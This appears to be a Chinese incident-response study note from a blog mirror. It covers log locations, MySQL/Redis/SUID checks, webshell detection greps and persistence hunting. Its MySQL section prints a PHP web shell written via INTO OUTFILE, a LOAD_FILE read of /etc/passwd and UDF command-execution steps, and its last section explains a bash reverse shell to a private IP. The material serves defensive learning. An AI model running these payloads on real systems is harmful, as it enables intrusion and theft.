当前位置: 首页 > news >正文

应急响应总结

应急响应

在这里插入图片描述

日志

windows

  • IIS 6.0 及更早版本

    C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\

  • IIS 7.0 及更高版本

    C:\inetpub\logs\LogFiles\W3SVC[SiteID]\

  • Apache HTTP Server

C:\Program Files (x86)\Apache Group\Apache2\logs\

或者

C:\Program Files\Apache Group\Apache2\logs\

linux

/var/log/syslog:记录系统的各种信息和错误。(Debian/Ubuntu)

/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。(CentOS/RHEL)

/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。(Debian/Ubuntu)

/var/log/secure:记录身份验证相关的信息,如登录和认证失败。(CentOS/RHEL)

密钥登录位置~/.ssh/authorized_keys

登录成功

Accepted

image-20240710230843286

登录错误特殊标记

Failed password for

image-20240710225107285

/var/log/kern.log:记录内核生成的日志信息。

/var/log/dmesg:记录系统启动时内核产生的消息。

/var/log/boot.log:记录系统启动过程中的消息。

/var/log/secure:记录安全相关的消息。

/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。

/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。

mysql

/var/log/mysql/

  • 检查日志文件:

查看MySQL的日志文件,特别是查询日志和错误日志。这些日志可以提供关于执行的查询和任何异常情况的信息。

查询日志:记录所有的查询,包括成功和失败的查询。

错误日志:记录MySQL服务器的错误、警告和通知。

  • 检查审计日志:

如果启用了审计插件,可以查看审计日志。MySQL Enterprise Edition包含一个审计插件,可以记录所有SQL查询。

  • 检查连接历史:

检查MySQL中的连接历史,找出哪些IP地址连接过数据库。可以通过查询information_schema.processlist或performance_schema来获取连接信息。

  • 检查特定的表和列:

查找数据库中是否有存储和执行恶意命令的痕迹,例如system或exec等。

  • 利用 INTO OUTFILE 写入文件

INTO OUTFILE 是 MySQL 提供的一个功能,允许将查询结果写入服务器上的文件。如果攻击者能成功利用这个功能,他们可以将恶意代码写入 Web 服务器目录,生成一个 Web Shell。

示例:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

这个命令将在 /var/www/html/ 目录下创建一个名为 shell.php 的文件,包含一个简单的 Web Shell,攻击者可以通过访问该文件执行任意系统命令。

  • 利用 LOAD_FILE 读取文件

LOAD_FILE 是 MySQL 提供的另一个功能,允许读取服务器上的文件内容。攻击者可以利用这个功能读取敏感文件,如系统密码文件 /etc/passwd。

示例:

SELECT LOAD_FILE('/etc/passwd');

这个命令会返回 /etc/passwd 文件的内容,其中包含所有用户的信息。

  • 利用 UDF 执行系统命令

UDF(用户定义函数)允许用户扩展 MySQL 的功能。如果攻击者可以将恶意的共享库上传到服务器,他们可以利用 UDF 执行任意系统命令。

示例步骤:

上传恶意共享库 lib_mysqludf_sys.soMySQL 服务器的插件目录。

创建 UDF 函数:

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';

使用 UDF 执行系统命令:

SELECT sys_exec('id > /tmp/output.txt');

这个命令将在 /tmp 目录下创建一个文件 output.txt,其中包含执行 id 命令的结果。

常用方法总结
INTO OUTFILE 写入文件:常用于创建 Web Shell 或写入恶意脚本。
LOAD_FILE 读取文件:常用于读取敏感文件,进行信息收集。
UDF 执行系统命令:常用于执行任意系统命令,获取更高权限。

show global variables like '%secure%'; 是一条 MySQL 查询命令,用于显示与 “secure” 相关的全局变量及其当前设置。通过查看这些变量的配置,可以帮助我们了解 MySQL 服务器的安全性设置和限制。

image-20240712153424893

变量分析

require_secure_transport

解释:此变量指定是否强制使用安全连接(如 SSL/TLS)来连接 MySQL 服务器。
值:
ON:强制所有连接使用 SSL/TLS。
OFF:不强制使用 SSL/TLS。
安全性:建议设置为 ON,以确保所有客户端连接使用加密传输,保护数据的传输安全。

secure_auth

解释:此变量控制是否要求客户端使用更安全的密码认证方式。
值:
ON:强制使用 mysql_native_password 或更强的身份验证插件。
OFF:允许使用旧的(不安全的)认证方式。
安全性:建议设置为 ON,以避免使用不安全的旧认证方式。

secure_file_priv

解释:此变量指定 MySQL 服务器可以访问的目录,以执行 LOAD DATA INFILE 和 SELECT INTO OUTFILE 语句。这一变量限制了文件操作的目录范围,防止文件被不当读取或写入。
值:
路径(如 /var/lib/mysql-files/):只允许在指定目录下进行文件操作。
空字符串:禁止所有文件操作。
NULL:没有限制。
安全性:建议设置为指定的安全目录或空字符串,以限制 MySQL 的文件操作范围,减少潜在的文件操作安全风险。

UDF

在进行 UDF (User Defined Function) 提权时,攻击者通常会将恶意共享库文件放在 MySQL 插件目录中。这个目录的默认路径通常是 /usr/lib/mysql/plugin/

攻击步骤

  1. 编写恶意 UDF 插件:攻击者编写一个 .so 文件,该文件包含恶意代码。

  2. 上传恶意插件:利用 MySQL 的文件操作功能将该文件上传到服务器上的某个路径。

    SELECT '' INTO OUTFILE '/path/to/your/udf.so';

  3. 创建 UDF 函数:使用 CREATE FUNCTION 命令将这个共享库文件加载为 MySQL 的 UDF 函数。

    CREATE FUNCTION do_system RETURNS INTEGER SONAME 'udf.so';

  4. 执行命令:调用这个 UDF 函数执行系统命令。

    SELECT do_system('id');

检查和防护

  1. 检查 UDF 函数:查看是否存在异常的 UDF 函数。

    SELECT * FROM mysql.func;

    select sys_eval('whoami');

  2. 限制 secure_file_priv:将 secure_file_priv 设置为一个特定的路径,限制 MySQL 文件操作的范围。

    secure_file_priv = /var/lib/mysql-files

  3. 移除不需要的 UDF 函数:删除所有可疑的 UDF 函数。

    DROP FUNCTION IF EXISTS do_system;

  4. 权限控制:严格控制数据库用户的权限,避免赋予不必要的权限,特别是文件操作和创建函数的权限。

  5. 日志监控:定期检查 MySQL 日志文件,关注异常的文件操作和函数创建活动。

Redis

/var/log/redis.log

版本号查看命令:

redis-cli INFO | grep redis_version
redis-server --version
Redis 5.0.1

未授权访问 是最常见且可能性最大的漏洞

CONFIG SET动态地修改 Redis 的配置参数

SLAVEOF将当前 Redis 服务器设置为另一个 Redis 服务器的从节点

MODULE LOAD 加载模块

SUID

使用 find 命令查找系统中的所有 SUID 文件:find / -perm -u=s -type f 2>/dev/null

  • 检查可疑文件: 查看找到的 SUID 文件,寻找常见的提权工具(如 nmapvimfindawkperl 等)是否在列表中。这些工具如果被设置为 SUID,有可能被利用来执行任意命令。

  • 利用漏洞: 如果找到的 SUID 文件有已知的漏洞,可以利用这些漏洞来执行任意命令。例如,某些版本的 nmap 可以通过 --interactive 模式获得一个 shell,进而提权。

  • 不应拥有 SUID 位的程序: 如常见编辑器(vim)、网络工具(tcpdump)、脚本语言解释器(perl)等。如果这些程序被设置了 SUID 位,通常是异常情况,需要进一步检查。

  • 检查文件的所有权和权限: 例如,一个 root 所有的文件,其权限中包含 SUID 位,可以通过 ls -l 命令查看文件的详细信息。如果发现可疑文件,可以进一步分析其行为。

grep

-a 将其视为文本文件

image-20240710225230900

sort 排序

  • -n 选项表示按数值进行排序。
  • -r 选项表示按降序排序。

uniq 删除重复的行

  • -c
  • 输入文件必须是经过排序的,因为 uniq 命令只检查相邻行之间的重复情况。

perl -e '...' 表示在命令行中直接运行 Perl 代码。

while($_=<>):逐行读取输入。

/for(.*?) from/:使用正则表达式匹配模式“for [username] from”,其中[username]是登录尝试的用户名。

print "$1\n"; 打印出正则表达式中捕获的第一个子匹配(即 $1),然后跟一个换行符 \n

awk '{print $11}'从每一行中提取第11个字段

cut每一行中提取指定的部分

  • -d - 指定字段的分隔符是-
  • -d ' '表示字段分隔符是空格
  • -f 1:指定要提取第一个字段

wc -l 命令用于统计行数

find 查找文件和目录

  • ./ 表示从当前目录开始搜索。

  • -type f 表示只查找文件(不包括目录)。

  • -name "*.php" 表示只查找以 .php 结尾的文件。

  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。

xargs读取数据,传递给指定的命令。

netstat

-antlp

  • -a:显示所有连接和侦听端口。
  • -n:直接使用数字形式显示地址和端口,而不尝试将它们解析为主机名和服务名。
  • -l:仅显示正在侦听(listening)的连接。
  • -u:仅显示使用 UDP 协议的连接。
  • -p:显示建立相关链接的进程标识符和程序名称。
  • -t:仅显示使用 TCP 协议的连接。

字段解释

  • 1.**Proto:**协议(Protocol)

显示协议类型,常见的有 tcpudp

  • 2.**Recv-Q:**接收队列(Receive Queue)

显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。

  • 3.**Send-Q:**发送队列(Send Queue)

显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。

  • 4.**Local Address:**本地地址

显示本地端的 IP 地址和端口号。例如:0.0.0.0:80 表示本地所有 IP 地址上的 80 端口。

  • 5.**Foreign Address:**远程地址

显示远程端的 IP 地址和端口号。例如:192.168.1.1:12345 表示远程 IP 为 192.168.1.112345 端口。

  • 6.**State:**状态

显示连接的状态。常见状态有:

LISTEN:正在监听连接。

ESTABLISHED:已建立连接。

CLOSE_WAIT:等待关闭连接。

TIME_WAIT:等待足够的时间以确保远程主机收到关闭请求。

  • 7.**PID/Program name:**进程 ID 和程序名

显示使用该连接的进程的进程 ID 和程序名。例如:1234/nginx 表示进程 ID 为 1234 的 nginx 程序。

webshell

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()
ASP: Execute(), Eval(), CreateObject()
JSP: Runtime.getRuntime().exec()

  • WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:
eval(base64_decode('encoded_string'));
  • WebShell可能会包含文件操作函数,用于读取、写入或修改文件:

PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()

ASP: FileSystemObject

  • WebShell可能会包含网络操作函数,用于与远程服务器通信:

PHP: fsockopen(), curl_exec(), file_get_contents('http://...')

ASP: WinHttp.WinHttpRequest

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" //对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" 

找免杀马思路,看日志

文件权限

文件权限由三部分组成:所有者(user),组(group),和其他人(others)

  • 4 代表读 (r)
  • 2 代表写 (w)
  • 1 代表执行 (x)

所以7代表读、写、执行 (rwx)

挖矿

检查运行的进程: ps aux

检查系统日志: /var/log/syslog /var/log/auth.log /var/log/messages

检查计划任务cat /etc/crontab

不死马

  • 启动项:在 Windows 中,可以修改注册表中的启动项,在 Linux 中,可以修改 rc.localcrontab

rc.local 是一个在 Unix-like 系统中常见的启动脚本文件

systemctl list-unit-files --type=service列出系统中所有服务单元文件

ls /etc/init.d/在系统启动和关闭时,init 系统会运行这些脚本来启动或停止服务。

/usr/bin可执行程序

反弹shell解析

bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。
    ll解析
bash -i >&/dev/tcp/192.168.100.13/777 0>&1

bash -i:

  • 以交互模式启动一个新的Bash Shell。-i参数表示交互式Shell,这样可以确保Shell会读取并执行启动文件,如.bashrc

>& /dev/tcp/192.168.100.13/777:

  • 使用Bash的特殊文件重定向语法,通过TCP连接到IP地址192.168.100.13和端口777。

  • >& 表示将标准输出(stdout)和标准错误(stderr)都重定向到 /dev/tcp/192.168.100.13/777,这个特殊文件实际上是在通过TCP连接发送数据。

0>&1:

  • 将标准输入(stdin)重定向到标准输出(stdout),这样可以将所有输入从TCP连接中读取并执行。

相关文章:

应急响应总结

应急响应 日志 windows IIS 6.0 及更早版本&#xff1a; C:\WINDOWS\system32\LogFiles\W3SVC[SiteID]\ IIS 7.0 及更高版本&#xff1a; C:\inetpub\logs\LogFiles\W3SVC[SiteID]\ Apache HTTP Server C:\Program Files (x86)\Apache Group\Apache2\logs\ 或者 C:\Prog…...

一些资源(●ˇ∀ˇ●)

GPT Kimi.ai - 帮你看更大的世界 (moonshot.cn) 文心一言 (baidu.com) 搜索AI伙伴 (baidu.com) 讯飞星火大模型-AI大语言模型-星火大模型-科大讯飞 (xfyun.cn) 秘塔AI搜索 (metaso.cn) GitHub打不开 下载Watt Toolkit...

WGCLOUD的ping设备监测可以导入excel数据吗

可以的 WGCLOUD的v3.5.3版本&#xff0c;已经支持导入excel数据&#xff0c;如下说明 数通设备PING监测使用说明 - WGCLOUD...

vue 画二维码及长按保存

需求 想要做如下图的二维码带文字&#xff0c;且能够长按保存 前期准备 一个canvas安装qrcode&#xff08;命令&#xff1a;npm i qrcode&#xff09; 画二维码及文字 初始化画布 <template><div><canvas ref"canvas" width"300" he…...

IDEA中Git常用操作及Git存储原理

Git简介与使用 Intro Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. Git是一款分布式版本控制系统&#xff08;VSC&#xff09;&#xff0c;是团队合作开发…...

人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下人工智能算法工程师(中级)课程4-sklearn机器学习之回归问题与代码详解。回归分析是统计学和机器学习中的一种重要方法&#xff0c;用于研究因变量和自变量之间的关系。在机器学习中&#xff0c;回归算法被广泛应用于…...

智能制造热点词汇科普篇——工业微服务

随着互联网技术的不断发展&#xff0c;近十年来&#xff0c;微服务也逐渐走进人们的视线中来。何为微服务&#xff1f;让我们先来看看百度百科上的定义&#xff1a;微服务&#xff08;或称微服务架构&#xff09;是一种云原生架构方法&#xff0c;在单个应用中包含众多松散耦合…...

FastGPT+OneAI接入网络模型

文章目录 FastGPT连接OneAI接入网络模型1.准备工作2.开始部署2.1下载 docker-compose.yml2.2修改docker-compose.yml里的参数 3.打开FastGPT添加模型3.1打开OneAPI3.2接入网络模型3.3重启服务 FastGPT连接OneAI接入网络模型 1.准备工作 本文档参考FastGPT的官方文档 主机ip接…...

Java核心篇之JVM探秘:内存模型与管理初探

系列文章目录 第一章 Java核心篇之JVM探秘&#xff1a;内存模型与管理初探 第二章 Java核心篇之JVM探秘&#xff1a;对象创建与内存分配机制 第三章 Java核心篇之JVM探秘&#xff1a;垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战&#xff1a;Arthas工具使用及…...

未来互联网的新篇章:深度解析Facebook的技术与战略

随着科技的飞速发展和社会的不断变迁&#xff0c;互联网作为全球信息交流的重要平台&#xff0c;正经历着前所未有的变革和演进。作为全球最大的社交媒体平台之一&#xff0c;Facebook不仅是人们沟通、分享和互动的重要场所&#xff0c;更是科技创新和数字化进程的推动者。本文…...

MySQL卸载 - Windows版

MySQL卸载 - Windows版 1. 停止MySQL服务 winR 打开运行&#xff0c;输入 services.msc 点击 “确定” 调出系统服务。 2. 卸载MySQL相关组件 打开控制面板 —> 卸载程序 —> 卸载MySQL相关所有组件 3. 删除MySQL安装目录 4. 删除MySQL数据目录 数据存放目录是在 …...

Java核心篇之JVM探秘:对象创建与内存分配机制

系列文章目录 第一章 Java核心篇之JVM探秘&#xff1a;内存模型与管理初探 第二章 Java核心篇之JVM探秘&#xff1a;对象创建与内存分配机制 第三章 Java核心篇之JVM探秘&#xff1a;垃圾回收算法与垃圾收集器 第四章 Java核心篇之JVM调优实战&#xff1a;Arthas工具使用及…...

Nuxt框架中内置组件详解及使用指南(五)

title: Nuxt框架中内置组件详解及使用指南&#xff08;五&#xff09; date: 2024/7/10 updated: 2024/7/10 author: cmdragon excerpt: 摘要&#xff1a;本文详细介绍了Nuxt框架中和组件的使用方法与配置&#xff0c;包括安装、基本用法、属性详解、示例代码以及高级功能如…...

python开发遇到的坑汇总

文章目录 1.点击导入操作&#xff0c;所有配置全没了 1.点击导入操作&#xff0c;所有配置全没了 在 PyCharm 中&#xff0c;如果你遇到了点击导入&#xff08;import&#xff09;操作后&#xff0c;项目似乎进行了重新安装或重新部署的情况&#xff0c;这通常不是由简单的导入…...

【线性表,线性表中的顺序表和链表】

目录 1、线性表的定义和基本操作1.1、线性表的定义1.2、线性表的基本操作 2、顺序表和链表的比较2.1、顺序表2.1.1、顺序表的定义和特点2.1.2、顺序表的实现&#xff08;1&#xff09;顺序表的静态分配&#xff1a;&#xff08;2&#xff09;顺序表的动态分配 2.1.3、顺序表的基…...

46 mysql 客户端拿不到具体的错误信息

前言 这是最近碰到的一个问题 同样的一个 环境的问题, 在正常的 mysql 环境会返回 具体的错误信息, 然后 在我的另外一个环境里面 只能返回一些 unknown error 之类的 十分抽象的环境 然后 我们这里 来看一下 具体的情况 我们这里从 错误的环境 往前推导 来查看 并解决这个…...

Java语言程序设计——篇三(2)

循环结构 概述1️⃣while循环例题讲解 2️⃣do-while循环例题讲解 &#x1f6a9;while循环与do-while循环区别3️⃣for循环例题讲解 4️⃣循环的嵌套&#x1f3ee;例题讲解 概述 ⭐️Java语言提供了4种循环结构&#xff1a; (1) while循环 (2) do-while循环 (3) for循环 (4)增…...

如何实现一个分布式锁

如何实现一个分布式锁 本篇内容主要介绍如何使用 Java 语言实现一个注解式的分布式锁&#xff0c;主要是通过注解AOP 环绕通知来实现。 1. 锁注解 我们首先写一个锁的注解 /*** 分布式锁注解*/ Retention(RetentionPolicy.RUNTIME) Target({ElementType.METHOD}) Documente…...

Ajax从零到实战

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 非常期待和您一起在这个小…...

编程参考 - 在C++移动构造函数声明中使用noexcept

在 C 中&#xff0c;noexcept 是用于表示函数不抛出异常的指定符。它既可用于常规函数&#xff0c;也可用于特殊成员函数&#xff0c;包括构造函数和析构函数。使用 noexcept 可以帮助编译器进行优化&#xff0c;提高代码的安全性和正确性。 In C, noexcept is a specifier use…...

大数据零基础学习day1之环境准备和大数据初步理解

学习大数据会使用到多台Linux服务器。 一、环境准备 1、VMware 基于VMware构建Linux虚拟机 是大数据从业者或者IT从业者的必备技能之一也是成本低廉的方案 所以VMware虚拟机方案是必须要学习的。 &#xff08;1&#xff09;设置网关 打开VMware虚拟机&#xff0c;点击编辑…...

页面渲染流程与性能优化

页面渲染流程与性能优化详解&#xff08;完整版&#xff09; 一、现代浏览器渲染流程&#xff08;详细说明&#xff09; 1. 构建DOM树 浏览器接收到HTML文档后&#xff0c;会逐步解析并构建DOM&#xff08;Document Object Model&#xff09;树。具体过程如下&#xff1a; (…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?

uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件&#xff0c;用于在原生应用中加载 HTML 页面&#xff1a; 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

Docker 本地安装 mysql 数据库

Docker: Accelerated Container Application Development 下载对应操作系统版本的 docker &#xff1b;并安装。 基础操作不再赘述。 打开 macOS 终端&#xff0c;开始 docker 安装mysql之旅 第一步 docker search mysql 》〉docker search mysql NAME DE…...

Python Ovito统计金刚石结构数量

大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...

逻辑回归暴力训练预测金融欺诈

简述 「使用逻辑回归暴力预测金融欺诈&#xff0c;并不断增加特征维度持续测试」的做法&#xff0c;体现了一种逐步建模与迭代验证的实验思路&#xff0c;在金融欺诈检测中非常有价值&#xff0c;本文作为一篇回顾性记录了早年间公司给某行做反欺诈预测用到的技术和思路。百度…...

系统掌握PyTorch:图解张量、Autograd、DataLoader、nn.Module与实战模型

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文通过代码驱动的方式&#xff0c;系统讲解PyTorch核心概念和实战技巧&#xff0c;涵盖张量操作、自动微分、数据加载、模型构建和训练全流程&#…...

基于江科大stm32屏幕驱动,实现OLED多级菜单(动画效果),结构体链表实现(独创源码)

引言 在嵌入式系统中&#xff0c;用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例&#xff0c;介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单&#xff0c;执行相应操作&#xff0c;并提供平滑的滚动动画效果。 本文设计了一个…...